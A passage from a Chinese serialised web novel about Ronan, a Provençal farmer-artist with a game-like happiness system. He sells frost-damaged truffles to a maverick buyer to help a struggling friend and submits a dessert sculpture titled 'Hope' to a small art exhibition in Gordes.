“可能有人找卢卡斯借钱吧,你知道的,今年的日子不好过,但你别像卢卡斯那么好说话,谁的钱都借,要钱时可难了。” 罗南长长的叹了一口气,表情复杂看了一眼特奥。 特奥啊特奥,你们兄妹几个的脑子,全都长卢卡斯一个人身上了吗?? “我回去了。”罗南转身离开。 “拿点羊走啊!”特奥在后面喊。 罗南背对着他摆手: “不了,我也要出去一趟。” 葡萄藤现在不能拆,但松露随时都可以挖。 现在时间还早,罗南直接开车出去了。 他必须要去确认下情况,相信卢卡斯此刻也一定不在卢尔马兰了。 时隔小半个月,罗南再次到达弗拉西耶。 他没有任何停留,快速穿过森林的外围,抵达密林的位置。 这一路上他不停观察树顶的形状和状态,很快找到目标树。 只是刚一蹲下,罗南就开始皱眉了。 味道不对。 下面有松露的味道不假,但同时还有一种奇怪的、没有闻过的浓重气味。 知道下面这颗松露已‘凶多吉少’,罗南的动作便没有那么轻柔了,而且它也无法轻柔。 这附近的土可比卢尔马兰硬多了。 罗南拿出书包里随身带的工具,挖松露一年了,这是他第一次使用小铲子。 几铲子下去,他看到了一个表皮深黑中泛白的物体,那上面一点光泽都没有。 罗南把这颗颜色更深的松露拿出来戳了几下,感受到它的质感像是块干了的海绵,按压过后没有明显的回弹迹象。 切开一看,原本应该是白色大理石的纹路,变成了暗黄。 “死的不能再死了。”罗南把这颗松露像垃圾一样扔掉。 又走了一阵,罗南发现不止土壤下的松露被冻死了,有些宿主树的根系也同样被冻伤了。 宿主树根系受伤,就无法再形成共生关系,这颗树下未来很难再生长出新的菌丝。 “这场寒潮对野生黑松露的影响,比作物还要大.”罗南的眉头快拧成麻花了。 罗南在中午11点半前后抵达弗拉西耶,下午3点半返程离开,其中用于寻找松露的时间有将近3个小时。 此刻他的大袋子里,只有寥寥的三十几块小松露,总重量应该是1公斤的样子。 如果放到之前,3个小时罗南应该能挖到2公斤多。 由此判断这次寒潮大概冻死了60%的野生松露。 不过罗南的情绪没有完全低落下去。 他还有希望!! 寒潮开始后,罗南通知了所有他合作的餐厅,说未来很长一段时间将无法再供应松露,要全身心的投入到抗寒的工作中去。 普罗旺斯人对天气的重视程度比其他地域高不知多少,大家纷纷表示理解,并让罗南不要担心他们。 罗南回来马上联系了雅克。 这一天,他脑海里总是闪现卢卡斯离开时慌乱的背影和特奥傻乎乎的笑容。 这位出手阔绰的米其林餐厅老板,说不定会用高于此刻市价的价格继续收松露,罗南打算问清楚后,把卢卡斯介绍过去。 时隔许久再次联系雅克先生,罗南能明显听出对方语气里的兴奋和激动,在这之前从来没有发生过类似的情况。 太久没联系.想我了? “你终于忙完了。”这是雅克的开场白,“什么时候进山挖松露?” 原来是想我的松露罗南语气复杂的说: “事实上我今天就去了,但没有挖到直径超过5厘米的。” 雅克先生只需要直径5厘米以上的精品松露,但罗南今天找到的全是小家伙。 “那是以前。”雅克的语气中充满了无奈,“普罗旺斯现在已经很难找到大松露了,个体越大,距离地表越近,冻死的概率越高,我现在什么松露都收。” 罗南眼前一亮,兴奋的问: “现在的松露价格是多少?” 这真是个天大的好消息,他和卢卡斯的普通松露也找到了一个有钱的买家! “2500法郎/公斤。”雅克先生报出了一个价格。 罗南一怔。 怎么才2500法郎? 这可是松露啊,而且冻死了60%,价格至少得翻一倍吧! 感受到了罗南的迟疑和疑惑,雅克先生无奈的叹气: “这个价格是卡庞特拉松露经纪人委员会定的,他们担心涨价幅度太大,会引起动荡.你知道的,现在大家的日子都不好过,‘黑黄金’价格在短期内飞涨肯定会有人‘铤而走险’的做些什么,‘松露生态系统的守门人’要维持这个行业的生态健康。” 他继续语用严肃的语气说: “而且他们最近发布了许多禁令,如果有人敢扰乱市场价,会被卡庞特拉的松露市场永久的封杀罗南,松露价格未来肯定会继续涨,但最近这半个月应该都会稳定在2500法郎上下。” 罗南想了好几秒,最终歉意的说: “我可以考虑几分钟再给你回复吗?我知道你很为难.但我有个朋友,他现在很需要钱,我想再想想办法。” 雅克温和的说: “我理解,但现在在普罗旺斯真的没有人敢扰乱价格。” “我想试试。”罗南语气坚定的说。 “好,如果你想卖随时给我打电话,有多少我收多少。”雅克挂断了电话。 罗南深呼吸了一口。 他还有最后一丝希望。 罗南从电视下的柜子里拿出一个干净的小本子,打开其中某一页,用两只手指捏出来一张布满油脂和两个手印的不规则形状深黄色纸张碎片。 如果是一位有生活经验的人在场,可能能看出那张不规则的黄纸是杂货店包面包用的,而且还只是其中的一角。 又如果有一位鼻子灵敏的人在场,恐怕还能从这张纸上闻到一点点洋葱的味道。 罗南嫌弃的把它平摊开来,努力辨别上面每一个数字的同时拨出了一个号码。 电话那边很快接通,一个老头不耐烦的声音灌入了罗南的耳中: “不管你是谁,我晚上7点以后不接工作电话,明天上午10点再打来。” 罗南抢在那人挂电话前,语速飞快的问: “阿方斯先生,您现在收普通松露吗?” 直径5厘米以上的松露在普罗旺斯都见不到了,阿方斯需要的特级大松露恐怕已经‘灭绝’了。 这个老头虽然脾气怪了一些、邋遢了一些,但脑子是聪明的。 知道拿到一个好价格后找卖家多要2个点,不会不知道如果再不换一换赛道未来几年就要饿死了。 罗南听出电话已经离开了阿方斯的脸,因为他的声音越来越飘渺: “收啊,但我只收大量的、稳定的,而且要出土24小时以内的,如果每天能稳定供应3公斤我就收,不过明天再说吧,10点以后啊,别影响我睡觉,哦对了明天不行明天我不在家,后天后天我也有事,算了算了你下周再打给我吧。” “如果我每天能稳定供应4公斤,你的收购价是多少?”罗南大声问道。 在普罗旺斯松露生态中,敢藐视‘官方’的只有这个老头! 这是罗南最后的希望!! 想象中的忙线声音没有传来,阿方斯的声音又变清晰了: “每天提供4公斤新鲜松露?” “是,每天4公斤。”罗南说。 阿方斯呵呵笑了两声: “孩子,你最近进过山吗?” “当然。”罗南语气平静的说,“我今天就进山了。” “那你应该知道外面是个什么鬼样子,一天还能挖4公斤?”阿方斯笑着问。 罗南的语气没有什么起伏: “我这里有两个人,我们两个加一起应该差不多。” 按照今天的速度,罗南现在一天应该可以挖2公斤多,卢卡斯那里再凑凑,不是没有这个可能。 而且先聊聊呗,又不是现在就要交。 阿方斯那边安静了好几秒: “每天供应4公斤出土24小时以内的新鲜松露,我可以给3500法郎的价格。” “好!”罗南兴奋的说,“我现在就去找我的伙伴,还有其他要求吗?” 这老头性格这么怪,一两句就把合作聊成了? 阿方斯打了个哈欠: “没了没了,就这样吧,凑齐了晚上7点给我打电话,我告诉你送去哪个餐厅。” 罗南有一刹那的错愕: “直接送去餐厅您不检查一下?” 阿方斯要的是24小时以内出土的新鲜松露,你不怕我‘以次充好’? 阿方斯又打了一个哈欠: “能让我给出家里电话的松露猎人,都是我信得过的人,行了快挂了吧,你耽误我休息了!” 罗南甚至等不到第二天,挂了电话马上跑去卢卡斯家,把这个好消息告诉他: “虽然松露数量少了,但我们拿到了一个比翻倍还高的价格,说不定不仅不亏,还能赚呢!” 但卢卡斯脸上并没有出现罗南意想中的如释重负或者开心。 在寒潮中,罗南忽视掉的不止是是野生松露的情况。 他同时忘记了卢卡斯还有10公顷的松露人工培育林。 第298章 没人比我更懂这个主题 由于寒潮对地下松露的严重影响,普罗旺斯境内和周边几个省所有高档餐厅此刻都处于严重松露缺货状态。 有些餐临时下架了一部分和松露相关的菜品,还有些餐厅只在中午供应松露菜品,顾客想吃要趁早。 现在的情况是,松露猎人嫌售价低,餐厅老板想买又买不到。 别说是3500法郎/公斤,就是有人5000法郎/公斤卖松露,也有餐厅会买,奈何双方又都要给卡庞特拉松露经纪人委员会面子. 但有些高傲的老头不知道‘面子’是什么意思。 阿方斯依靠稳定、大量和新鲜的松露货源,合作了几个普罗旺斯境内和周边省中最顶级的实力餐厅,‘明目张胆’的做着不符合市价的松露生意。 为什么说是‘明目张胆’呢? 因为阿方斯在转告罗南把当日新鲜松露送去哪里时,特意嘱咐他: “如果有愚蠢的家伙发现你在用高价供货并企图找你麻烦记得告诉他,有事来找我阿方斯,不要耽误你进山找宝贝的时间,好了快去忙吧小伙子,别让你的顾客等太久。” 有了这个普罗旺斯松露界最大的靠山撑腰,罗南联合卢卡斯合作做起了生意。 每天白天他们各自去自己的‘秘密基地’活动,晚上在罗南的餐厅集合,第二天天还没亮,康奈尔就会把它们交到买家的手里。 但想要赚到这份钱也不是那么容易的。 每天采4公斤松露放到几个月前都不是什么简单的事情,寒潮过后变得更加困难。 晚上7点半。 卢卡斯带着玛格丽特于夜幕中推开大门,返回家中。 一向‘优雅’的玛格丽特第一时间冲向自己的水盆,低头猛喝不止。 卢卡斯的妻子艾米丽在门口等好久了,关心的问卢卡斯: “今天怎么回来这么晚啊?你平时下午5点多就会回来。” 卢卡斯穿着厚外套坐到玄关的椅子上,鞋子都没有脱: “那个收货渠道每天要的量太大,我担心罗南那里不顺利,所以多找了一些才回来。” 艾米丽皱着眉毛站到丈夫身前: “但你已经早出去两个小时了,你走的也比平时早。” 卢卡斯挤出一个微笑: “现在是特殊时期,亲爱的。” 艾米丽嗔怪的继续说: “你已经不是年轻小伙子了,完全没必要接下这个苦差事,需要我给你拿镜子照照看现在的脸色吗?” 卢卡斯微微皱起眉头: “我饿了,去帮我做点吃的吧。” 艾米丽叹了一口气,去客厅查看玛格丽特的情况: “而且玛格丽特也不年轻了,她现在累的连沙发都不上,回家躺到地上就睡,她以前只会睡在干净的地方.我知道去年罗南帮了特奥许多,你答应和罗南一起合作,有一部分原因是为了感激他的帮助,想让他多赚点,但是你们都不年轻了。” 在妻子喋喋不休的唠叨中,卢卡斯疲惫的仰头看向屋顶。 罗南帮助的岂止是特奥 罗南也是卢卡斯在落下悬崖前,抓住的那唯一的一根‘救命稻草’。 实验室的人说,低温情况下菌丝的死亡率高达95%,它们现在太脆弱了。 不过具体数值要等开春做下一轮菌丝采样时才能得知。 菌丝采样需严格遵循许多科学条件,以确保活性、纯度及共生潜力可以监测准确,春季和秋季菌丝代谢活跃的季节为最佳采样期。 现在天气太凉,采样到的数值并不准确,但哪怕是1%的误差也有可能会改变卢卡斯的命运。 所以卢卡斯还有最后一丝希望.赌一个奇迹的发生。 未来几年松露的价格一定会飞涨,万一活下来了许多菌丝呢? 但如果没有罗南提供的这个高价松露渠道,卢卡斯此刻就可以被宣判死刑了,因为他无法再支付高昂的运营成本。 现在每个月的运营费用都是靠松露来支撑的。 可以说罗南分享的渠道把已一只脚迈入深渊的卢卡斯又拉回到了人间,虽然是短暂的 卢卡斯坐在玄关处缓了一会后,脱掉外套和鞋子,去客厅抱住了缩成一团睡觉的玛格丽特。 他把脸埋在玛格丽特还在微微散发凉气、明显不如以前顺滑的皮毛上,喃喃自语: “对不起乖女儿、对不起爸爸不想现在就放弃,我们已经坚持了这么久,再努力最后一个多月好不好?他已经帮助我们了.罗南已经帮助我们了,他帮助过的每一个人身上都发生过奇迹,也许现在轮到我们了呢?” 卢卡斯回家要应付妻子的不理解,同时小心翼翼的不让家人发现端倪,并不比在山里的状态轻松多少。 同样在山里待了一天的罗南回到家也没有那么轻松。 佐伊用食指缠住一缕头发,无比纠结的说: “我知道现在说这些非常不合适,但送展的截止日期只有最后3天了而且现在只还有几个比较小的展览项目还在收作品,你还要参加吗?” 2月中旬,英国雕塑家安迪·戈兹沃西会在戈尔德现场创作一个用橄榄枝和石灰石组成的以自然为主题的作品.主题名为‘大地艺术’。 普罗旺斯艺术界为了不被英国佬抢去了风头,从1月底开始,自发的在戈尔德组织了许多主题相同的艺术展览,其中有大有小。 佐伊等卢尔马兰艺术家的目标肯定是那些大型活动,在过去的半个月中,他们已经完成了多轮密集的送展。 佐伊就成功参加了其中非常重要的三个艺术活动,下个月,她的不同作品将在三个展览中轮番展出。 其他艺术家,例如巴蒂、马里尼和薇薇安等人也完成了送展的工作,分别参与了其中的几个。 因为寒潮到来的缘由,罗南错过了那些大艺术展的送展时间,而活动方也没有因为极端天气延后他们的截止日期,因为普罗旺斯除了罗南,应该找不出第二个玩艺术的农夫了。 现在还在收作品的,都是些不吸引人的小展览,因为迟迟收不够作品数量,还打开着投放窗口。 见罗南低头不语,佐伊过去抱住他的脑袋: “我知道你这段时间太累了,要不别参加了吧,等下次机会,我和其他人努力多拉些艺术家到卢尔马兰。” 【与异性发生亲密接触幸福度增加30点】 罗南回抱住佐伊: “不用,小展览我也去。” 他迟疑并不是因为觉得错过了最好的机会,而是因为寒潮原因【幸福度】的积累速度减慢、几乎停滞。 在过去的小半个月里,罗南很难感受到‘幸福’这个情绪。 无论吃饭、喝酒亦或者是睡一会就醒一次、不踏实的睡眠都没有给提供过什么【幸福度】。 偶尔有几次蹦出来,给到数值也比之前少了许多。 和佐伊的这个拥抱,是今天耳边第三次蹦出系统提示音。 今天第一次获取【幸福度】是早上5点多,吃到了一碗父亲罗天海特地上闹钟起来,亲手做的他最爱吃的热乎面。 第二次是晚上看到卢卡斯终于露出了几天来的第一个笑容,说‘今天咱们两个都快凑到5公斤了’。 可能还需要一段时间,他才能恢复到以前那个没什么烦心事、每天都在努力享受生活的幸福罗南。 不过罗南清楚这个时间不会太长了,他正在慢慢脱离焦虑和紧张的状态,因为【幸福度】给的数值每天都在增长,也许过完春节就可以完全恢复。 佐伊低头,看着怀里的罗南,担忧的问: “但是你最近都没有练习吧?” 罗南这段时间不是进葡萄园,就是进树林,哪里有时间思考‘大地艺术’的事情啊。 母亲莉亚说,罗南都半个多月没进过餐厅后厨了,更不要提做甜品。 罗南抬起头,佐伊发现罗南的眼睛里有光芒闪烁。 他悠悠的开口: “这段日子我确实没有时间‘练习’,但我更加理解主题了.佐伊,我猜参加活动的艺术家们没有人比我更懂什么是‘自然’。” 晚上。 佐伊和罗南坐下来一起分析投送窗口还未关闭的那几个活动中,哪一个是最适合罗南参加、且相对影响力最大的。 在一阵‘矮子里面挑个高’的激烈讨论后,他们决定让罗南去投递一个由私人艺术品收藏家罗德里格举行的小型展览。 这是一位和法布里埃尔一样以‘有钱’而著称的家伙,不过他的有钱体现在乱拍艺术品上。 在艾克斯的艺术品拍卖会上,这位号称从11岁就开始收藏艺术品的大师,经常用夸张离谱的价格拿下那些被大家公认为是‘垃圾’的作品。 知名艺术家们不太‘敢’向罗德里格的活动投递作品,那有可能会让作品得到不太好的评价,不过这位收藏家和许多普罗旺斯知名艺术家、拍卖会主席和博物馆馆长都是朋友。 佐伊推测,罗德里格的朋友们有可能会来展览参观和游览,那么流量就有保障了。 “时间有限,而且你也没有那么多精力,就做一件作品吧。”佐伊遗憾的说。 其实以罗南现在的实力,如果给他的准备时间多一些,他完全可以和其他艺术家一样投递多个展览。 这太遗憾了。 罗南返过来安慰佐伊: “还记得你鼓励艺术家时说的话吗?哪怕只有一点点希望,也要拿出百分之二百的努力,艺术家想要有所建树太难了,必须珍惜每一个机会,无论大小我一定会做出一个满意的作品。” 第299章 放下刀,拿起剑 阿方斯要求松露货源必须稳定。 罗南这段时间暂时没有机会休息了,白天必须要往山里跑。 早在上周,他就把两个集市的摊位交到了伊莎贝尔和一个会做锅包肉的厨师手里,维埃里在周六也会去给她们帮忙。 现在是冬季,又刚刚经历了寒潮,罗南可以暂时‘休息’一下,给年轻人一些舞台和机会。 连去集市的时间都挤不出来了,虽然投递时间在即,但他只能等晚上回到卢尔马兰后才能做送展的作品。 从佐伊家离开,回家的路上,罗南忍不住的想: 直接回去就又少了一天,时间本来就不太够用。 几乎是在瞬间,他便改变了前行的方向,去往商业街。 晚上9点,商业街上的许多商铺里都透出了亮光,和卢尔马兰其他街道的区别并不大。 像歌迪亚和托马斯那样的外村店主或店员会在店铺楼上生活。 这次寒潮中,村里有许多住户家的电路和水路都出了问题,但商业街上的房子经受住了这次大自然的考验,没有一个楼出问题,这说明卢尔马兰政府盖这条街的时候并没有偷工减料。 罗南迈步缓缓的走向没有灯光亮起的餐厅。 等卡福把后院的工作室盖好,他就着手给父母装修房子,很快餐厅这座楼在晚上也会亮起灯了。 想着想着,罗南没忍住发出了几声低笑,随即脚步也跟着轻盈了起来。 现在等待他去解决或者做的事有这样几件: 第一个是最紧急的‘大地艺术’活动,但佐伊给他挑的那个展览是个小型的,1月底开展,2月初就结束了,只持续一周,需要罗南分去精力的时间没有多少。 第二个是之前还没有完成的酒庄‘学习’计划,1月肯定是抽不出时间了,2月的时间不好说,要看松露市场的情况,不过这个任务的完成时间绝不能超过3月中旬,那个时候他必须去找布兰科‘摊牌’了。 第三个还没完成是去参观普罗旺斯的香水博物馆,并努力了解阿斯特丽德女士的身份,这个任务的完成时间和上面的节点相同,弄清楚了香水-博物馆这条在普罗旺斯存在几百年的商业模式,找布兰科摊牌时成功率会高上不少。 第四个待解决的问题是地里那些‘薛定谔’的葡萄藤.罗南要在4月初之前找到延续大家希望的办法。 这样粗劣的算下来,罗南未来三个月要忙的事情真是不少,而且每一个都很重要。 不过忙完手里的这些糟心事差不多也要和佐伊结婚了。 这样一想,心情和状态好了不少,甚至有一种想要快点到4月份的迫切感。 所以说,人绝不能缺少‘希望’。 它会像两侧的这些灯光一样,指引着你找到冲出‘黑暗’的方向。 进入餐厅,罗南没有立即投入到‘创作’中。 他打开了靠近后厨的一盏灯,坐在椅子上平复心情并思考。 没有成功把【烹饪】升到5级,意味着能制作的甜品种类依然是莉亚教的那些。 罗南已经能想象出,未来几天做出来的东西大体会是什么水平和样子了,因为他在1月初很认真的练习了一阵子,做了十几个作品。 正是因为了解了自己的‘上限’在哪里,罗南才会急于的想去把【烹饪】升级。 但事与愿违,谁都没想到一月中下旬普罗旺斯发生了那么大的事情,直接他把的生活和计划打乱了。 既然如此,罗南只能转换思路。 从之前的‘押宝’技巧和工艺,改为‘押宝’主题理解和立意。 正如他对佐伊说的那样。 相信没有哪个艺术家比他更懂自然是什么、自然是什么样的。 在来到普罗旺斯后的这一整年,无论是种地还是去采松露,他都时刻在和自然打交道,而就在半个月前,他还和大自然激烈的‘斗争’过。 罗南对自然既怀有感激之情,亦有埋怨之意.已经无法用简单的几个单词概述对大自然的全部感受了。 “对主题的情绪复杂,想要表达的内容也很多,这个作品具体要表达哪个方面呢?”罗南的眼眸在昏黄的灯光下显露出明显的迷茫之意。 想了十几分钟无果,他起身去往后厨。 “没时间犹豫,既然有这么多想表达的,就全部放到作品上。” 还好罗南提前一天开始准备。 第二天晚上,他一回到餐厅,歌迪亚就紧张的把他拦下: “佐伊今早告诉我你要去送罗德里格的展,但他突然提前了窗口关闭时间,如果要参加,你明天就要把作品给我。” 卢尔马兰艺术家参加‘大地艺术’活动的所有送展事宜都是歌迪亚帮忙做的。 决定让罗南去参加哪个展览后,佐伊立即通知了她。 罗南想了一下: “应该可以,我今晚就能把作品做好。” 歌迪亚明显愣住了。 以前罗南练习的时候,做一个作品要用一个下午加一个晚上。 这次的时间缩短了? 歌迪亚表情凝重了起来: “罗南,佐伊和马里尼都不止一次说过,你的优势是造型设计能力和精细度极高的雕刻制作水平,这是你最锋利的两把武器,你可千万不要把这件事忘了。” 制作时间缩短,代表耗时的雕刻工艺减少了。 但那是罗南最厉害的地方啊。 两个人正说话间,卢卡斯拿着松露来餐厅集合了: “我今天又挖了2公斤多。” 罗南先是对卢卡斯点了下头,示意他稍等一下,随后对歌迪亚说: “有的时候必须要做出取舍,这次的作品可能要换个风格了。” 卢卡斯在一旁,歌迪亚不好再继续这个问题强说些什么,但她又说出了一个临时的情况: “罗德里格要求展览开幕那天,所有参加的艺术家必须到场,给嘉宾和全世界来的游客讲述作品主题和创作历程,但你.你有时间去吗?” 罗南咂了一下嘴,皱起眉头: “我走不开,要不我换个展览投吧?这人的要求太多了。” 他每天至少可以拿回来2.5公斤松露,卢卡斯那里有的时候多点,有的时候少,但靠他自己是绝对凑不出每天4公斤的。 歌迪亚用专业的口吻说: “说实话,你和佐伊做了一个非常正确的决定,罗德里格是一个猎奇属性很强的人,把甜品投给他,通过的概率最大,你知道的,普罗旺斯还没有人用甜品参加过艺术活动。” 她用复杂的语气继续说: “而且罗德里格的朋友圈非常广,只是我知道的知名艺术家里就有十几个要去参加他的展览开幕式,听说他还邀请了格拉内博物馆的馆长,这次就是他非要用自己的名义办展,但凡换个合作身份,根本轮不到你去,一周前他那里的作品就会收满了,不过一切看你的决定时间不允许就去送其他的活动,正好给你多点时间把作品雕琢好。” “换一个吧。”罗南没有任何犹豫。 “等一下——”卢卡斯终于听明白了这两人在门口嘀咕什么,她问歌迪亚,“罗南要去多久?” 卢卡斯听特奥说过,罗南要在月底去参加一个非常重要的活动,和艺术相关的。 歌迪亚想了一下回复道: “一般艺术展在上午开幕,上午肯定要去的,下午我可以和主办方沟通,只去半天。” 不等罗南说什么,卢卡斯对罗南耸肩: “这没什么问题啊,你上午参加完活动下午进山,咱们的量也能够4公斤。” 罗南斟酌了一下,摇头道: “不保险,我进山半天,最好的情况下能挖到1.5公斤松露,但你不是每天都能带回来2.5公斤。” 卢卡斯举起带着泥土的手点了一根烟,用不容置疑的语气对罗南说: “那我就挖够2.5公斤再回来,这对我和玛格丽特来说并不是难以解决的问题,倒是你,不该错过这个机会,我听出这位女士的言外之意了她认为你不该改变计划,那是你最好的选择。” “没错!”歌迪哥感激的对卢卡斯眨了下眼,之后一起劝说罗南,“请相信我,罗德里格是你最好的选择,说不定他还会帮你把甜品艺术发扬光大呢,这个人经常做让人意想不到的事!” 罗南犹豫的抓了一下头发,似乎已经开始动摇。 卢卡斯抢过罗南手里还未放下的松露袋子,抬脚在他屁股上‘用力’踢了一下: “别浪费时间了,快去‘创作’!今天我来联系康奈尔,后面的事你都不用管了!” 歌迪亚蹦蹦跳跳的把罗南推进后厨: “快去吧大艺术家!你是卢尔马兰这次送展的最后一个人,但这却是我最期待的一个作品!!快去快去!” 歌迪亚以为她要等到深更半夜。 但罗南只用了3个多小时就把作品做好,拿出来‘打包’。 “这是——”歌迪亚猛地扑过去,认真看了一圈。 突然,她的眼睛像飞向天空的烟花一样,炸出了一朵绚烂的火花: “上帝,你是天才啊罗南,这个作品的主题太棒了!!” 得知罗南有可能会摒弃自己的两把‘武器’,歌迪亚担心的不得了。 但看到这个成品.经验丰富的她觉得稳了! 这叫什么? 这叫放下了刀,却拿起了剑。 原来罗南精通的‘武器’不止一个啊。 这个作品太贴合现在这个时刻了! 罗南认真的把作品放到歌迪亚带来的特定‘保险’盒子里,浅浅一笑: “不,你理解的主题肯定和我想要表达的不一样。” “啊?”歌迪亚指着甜品说,“这很明显啊,不就是——” 罗南把食指放到嘴边,做了一个‘嘘’的动作: “如果它能通过选拔放到戈尔德的展览上.我才会把完整的主题讲述出来,所以我们先一起期待明天的结果吧。” 第300章 参差不齐的艺术水平 戈尔德围绕‘大地艺术’的各项活动从1月底开始,一直持续到2月中下旬。 最高潮的活动当然是2月中旬英国雕塑家安迪·戈兹沃西的现场创作,但近期一些小型活动和展览也开始陆续举办了,它们是2月份的预热。 歌迪亚把罗南的作品送去戈尔德,遇到了今日有作品展出的薇薇安。 虽然活动方没有强制要求,但许多艺术家还是选择到场给自己的作品‘站台’,正像佐伊说的那样——在普罗旺斯,年轻艺术家想要有所建树太难了,必须抓住每一个可以展示的机会。 不是每一个卢尔马兰艺术家都成功的加入到了戈尔德的这次活动中,还是有一部分人在多次投递后依然被‘拒之门外’,不过薇薇安是幸运的那个,有一个艺术活动通过了她的申请。 这本是件值得开心的事,但这位女画家一见到歌迪亚就开始‘抱怨’: “你不知道我那个展览有多么‘低级’,和我一起展出的有小学生铅笔画,还有业余爱好者做的花瓶,亏我还沾沾自喜终于来到了戈尔德,参与到了这次‘盛事’.我猜这个项目根本没有什么评选标准,所有送去的他们都收下了!” 歌迪亚的脸色一会白一会白红的: “莉莉丝和阿尔杰也投了这个项目,他们都被拒绝了。” 微微安的脸色瞬间变得精彩。 莉莉丝和阿尔杰的作品还没有小学生好吗? 歌迪亚不想继续这个令人伤心的话题,负责帮大家送展的她,在最近一个月清楚了解的卢尔马兰艺术家参差不齐的专业水平。 艺术是要看天赋的。 有些人很努力,也很刻苦,同时还有一颗积极向上的心,但做出来的东西就是不行.不过有些人一个月下不了几次‘厨’,可就是那么有天赋! 罗南,你知道我说的是谁吧? “好了好了,能参加就是胜利,快回馆里吧,万一有哪个厉害的大师看上你的作品呢?现在走在戈尔德街道上的人,每一个都不简单呢。”歌迪亚甩了一下头发,“我也走了,去给罗南送作品。” 这绝不是敷衍的话。 现在还只是预热阶段,戈尔德在展出的艺术展览和活动就有5、6个之多。 到了2月初,最高峰的时候会有十几个活动同时进行。 不止是法国本土的艺术家,欧洲各国的艺术家和爱好者也会在这段时间来戈尔德参观。 冬天是普罗旺斯的旅游淡季,又刚刚经历了寒潮,村民才不会在这个时间出来溜达。 在1-2月的戈尔德,迎面遇到一个人,说不定就是什么大师或者著名的艺术收藏家。 快回到你作品旁边混眼熟!! 薇薇安突然拉了一下歌迪亚: “罗南要去送哪个展?” 歌迪亚笑着说: “罗德里格举办的艺术展。” 她有信心,这次的送展过程会非常顺利! 薇薇安立即炸毛的说: “别别别,今天别去,换个时间再去送吧,刚刚有人看到罗德里格带着几个人去了戈尔德城堡,里面有格拉内博物馆的馆长诺曼德,大家猜那一行人全部是格拉内博物馆的贵宾们.你知道的,格拉内博物馆对艺术品的要求有多高,我怕他们会影响罗德里格的决定。” 格拉内博物馆位于艾克斯老城里,是普罗旺斯地区最重要的艺术博物馆之一,以其丰富的古典艺术收藏和与印象派大师保罗·塞尚的深厚渊源闻名。 罗南的作品类型太特殊了。 薇薇安担心那些‘老古董’会影响罗德里格的决定,甜品肯定进不了格拉内博物馆大门。 歌迪亚比薇薇安更加了解格拉内博物馆的风格。 已经算是佐伊半个经纪人的她,去年帮佐伊和格拉内博物馆打过好几次交道。 那的确是一群自傲、挑剔,又不太好说话的家伙们啊。 “但今天是最后一天了。”歌迪亚收敛起了笑容,严肃的对薇薇安说,“我今天上午不走了,我要亲耳听到他们如何点评罗南的作品。” 在1月底开幕的艺术活动规模都不大,目的是给2月份的‘主菜’预热,不会‘喧宾夺主’,活动场地有的是临时搭建起来的,有的是租了一个大一些的艺术品商铺。 但罗德里格的艺术展在1月底开幕原因是,他租下的场地和这次活动的主场馆是同一个——戈尔德城堡。 2月初,戈尔德城堡就要被安迪·戈兹沃西团队征用了,罗德里格只能把他的展览时间提前。 “哎,DRAC(法国文化遗产局)只批给了我7天时间,他们说我有可能会破坏古堡里的文物,我怎么会破坏文物呢?我是一个如此尊重历史和文物的人!” 古堡的大厅里,淡金色长发、发梢微卷的罗德里格用‘不理解’的口吻抱怨。 他身后跟着七八个人,每个人年纪都不小了,为首的是一位深褐色头发、鼻梁高挺,带着金色眼镜的老者。 正是格拉内博物馆的馆长诺曼德。 这是罗德里格第一次办展览,他邀请这位普罗旺斯艺术界的真正的‘大人物’过来把把关,提提意见。 诺曼德轻轻笑了一下,发出低沉而富有磁性的声音: “你是在活动举办前两个月才向DRAC提出的申请,而其他人想要租用戈尔德城堡要提前至少6个月申请,他们已经很给你面子了.罗德里格。” 罗德里格不满意的嘟囔: “对啊,我付出了更高的租金,还给这里的文物买了几十万法郎的保险,他们为什么就不能允许我提前一些开幕?7天哪够我收集来的那些优秀作品充分展示呢?” 罗德里格自顾自的说个不停,空旷的古堡里时刻回荡着他有些尖利的声音。 诺曼德回头看了一个人,那人马上打断了罗德里格的碎碎念: “会展布置的很不错,有主题特色,又能突显普罗旺斯的地域风情.咱们再去看看作品吧?” “好好好!”罗德里格露出激动的笑容,“我这次收了许多好作品,你们快来跟我看看,中央大厅里放哪些比较合适。” 虽然这是一个小展览,但罗德里格弄出了‘卢浮宫’的架势。 他在戈尔德城堡里临时划分了好几个区域展厅,摆放不同‘等级’的作品。 中央大厅被设置在城堡中轴线的焦点区域,这里陈列的会是本次活动中最顶级的东西。 “好,我们去看看你这次收到了什么好作品。”诺曼德面露微笑的说。 他身后跟着的几个人互相看了一眼,露出了‘心照不宣’的笑容。 罗德里格一向以‘猎奇’著称,这次的作品全部由他本人亲自选出,相信此刻的仓库里一定是极其‘精彩’的。 在去仓库的路上,罗德里格的助手小跑过来,说又有艺术家送来了一个作品。 “嗯?现在才送来?”罗德里格不满的嘟囔,“今天不是截止日了吗?” 助手小心翼翼的说: “下午才截止,严格来说现在还可以投递。” 罗德里格的心早已经到了仓库那边。 今天他邀请来的全部是格拉内博物馆里负责陈列和选品的厉害家伙,相信在他们的‘指点’下,中央展厅一定会无比的精彩。 “拒了拒了,说我没看上。”罗德里格脚步不停,继续向前走。 “但是——”助手为难的说,“但是这个作品非常特殊,它是一个甜品。” “甜品?”罗德里格一个急刹停下,马上换了一副嘴脸,“那得去看看,在哪儿?” 罗德里格看起来非常迫切和着急,很快拉开了和格拉内博物馆众人的距离。 后面几个人憋着笑,小声议论起来。 “果然是个垃圾堆啊,什么东西都往他这里投。” “来之前我就猜到会是这个局面.一会选品的时候你们多多发言啊,我这个人不会说谎话。” “行了大家都忍忍吧,罗德里格每年都给博物馆捐钱,没有他我们的活动也不会那么密集。” 走在人群中间的馆长诺曼德整理了一下袖口,轻飘飘的说: “我们要奉承的只是罗德里格这个人,而不是艺术品,好就是好,不好就是不好,你们待会不用找理由让他开心,说实话就行。” “好的,馆长。”众人回复。 诺曼德带着几个人来到了一个休息室,看到罗德里格正在听一个爆炸头的女士说着什么,而他面前的桌子上摆了一个不大的小东西。 有了馆长撑腰,格拉内博物馆的众人围过去就要好好的点评一下。 但当他们看到桌子上的东西,又立即噤了声。 那果然是一个甜品,但是是一个有主题的甜品。 而且这个甜品的主题非常‘明确’和‘清晰’,大家甚至都不用看它旁边的说明,就知道这个甜品是因何而生。 罗德里格不知从哪里变出了一个单边眼镜戴于脸上,皱着眉头喃喃自语道: “灵感来于自之前的寒潮吗?” 他的声音打断了格拉内博物馆众人的观察,随即他们看向了甜品旁边的作品名——希望。 第301章 你创作了一件真正的艺术品 罗德里格直起腰,问歌迪亚: “没有作品说明吗?” 